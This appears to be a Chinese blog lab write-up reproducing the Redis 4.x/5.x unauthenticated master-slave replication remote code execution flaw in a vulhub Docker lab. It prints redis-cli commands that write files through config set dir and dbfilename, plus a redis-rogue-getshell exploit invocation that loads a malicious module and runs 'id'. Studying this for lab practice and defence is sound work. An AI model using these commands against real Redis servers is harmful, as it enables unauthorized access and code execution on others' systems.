码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • Redis未授权访问漏洞实战


    文章目录

      • 概述
      • Redis概述
        • Redis 介绍
        • Redis 简单使用
        • Redis未授权漏洞危害
      • 漏洞复现
        • 启动靶场环境
        • POC漏洞验证
        • EXP漏洞利用
      • 总结

    本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

    概述

    ​ 本文章主要是针对于vulhub靶场中的Redis 4.x/5.x 主从复制导致的命令执行进行复现,部分复现步骤可以参考vulhub靶场,这里我提供了利用POC工具验证的步骤,相比vulhub更加详细简单。

    漏洞原理

    Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

    本篇文章需要用到的工具下载地址

    POC验证工具:unauthorized_com-main

    EXP利用工具:redis-rogue-getshell-master

    Redis概述

    在复现未授权访问漏洞之前,我们有必要先大致的了解一下Redis是什么,Redis的简单使用与Redis未授权访问漏洞的危害。

    Redis 介绍

    Redis 是非关系型数据库系统,没有库表列的逻辑结构,仅仅以键值对的方式存储数据。

    Redis 数据库经常用于Web 应用的缓存。

    Redis 可以与文件系统进行交互。

    Redis 监听TCP/6379

    Redis 简单使用

    Redis 未设置密码,客户端工具可以直接链接。

    ┌──(root㉿kali)-[~/…/vulhub/vulhub/redis/4-unacc]
    └─# redis-cli -h 10.9.75.101
    10.9.75.101:6379> set name yuanboss
    OK
    10.9.75.101:6379> get name
    "yuanboss"
    10.9.75.101:6379> config set dir /tmp/
    OK
    10.9.75.101:6379> config set dbfilename yuanboss.txt 
    OK
    10.9.75.101:6379> save
    OK
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    Redis未授权漏洞危害

    image-20230901184319687

    漏洞复现

    启动靶场环境

    前往vulhub的redis/4-unacc目录执行以下命令启动靶场环境

    docker-compose up -d
    
    • 1

    POC漏洞验证

    通过我提供的POC验证工具对靶场的IP进行检测,查看是否具有未授权访问漏洞

    image-20230901175612226

    经过POC验证,存在redis未授权访问漏洞

    EXP漏洞利用

    通过我提供的EXP利用工具进行利用,由于这个靶场环境中的redis的版本范围是符合是是主从复制的,具有远程代码执行漏洞:

    注意-r参数指的是目标的IP地址,-L是本机的IP地址,不要用本机的会换地址或者localhost

    python3 redis-master.py -r 10.9.75.101 -p 6379 -L 10.9.75.101 -P 8888 -f RedisModulesSDK/exp.so -c "id" 
    
    • 1

    image-20230901181259340

    可以看到我们利用RCE漏洞成功执行了linux中的 id命令

    总结

    ​ 对于未授权访问漏洞,我们要具有敏锐的嗅觉,未授权访问一般都出现于中间件,比如 zookeeper,docker,redis,wordpress等中间件或者框架,看到这类的中间件或者框架,我们就应该想到是否不需要密码就能访问,这个时候我们就可以直接拿到我们的POC工具进行漏洞验证了,如果发现存在某个漏洞,我们就可以去网上找EXP或者自己编写EXP进行利用。

    ​ 所以未授权访问漏洞的本质其实就是中间件或者CMS框架没有这种密码,导致我们可以直接连接。

  • 相关阅读:
    JavaScript 从入门到熟悉
    无线传文件 - AirDroid - 电脑远程安装apk到手机
    Docker简介与为什么要用Docker?
    使用GDIView排查GDI对象泄漏导致的程序UI界面绘制异常问题
    java多线程基础——定时器与线程池
    Python异步编程并发执行爬虫任务,用回调函数解析响应
    SQLServer如何获取客户端IP
    Ansible的debug模块和魔法变量介绍,fact变量采集和缓存相关操作演示
    【色彩管理】锐印RIP软件安装教程
    HTML+CSS大作业:旅游网页设计与实现——旅游风景网站6页HTML+CSS+JavaScript实训大作业 HTML+CSS大作业 HTML期末大作业
  • 原文地址:https://blog.csdn.net/weixin_46367450/article/details/132629394
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号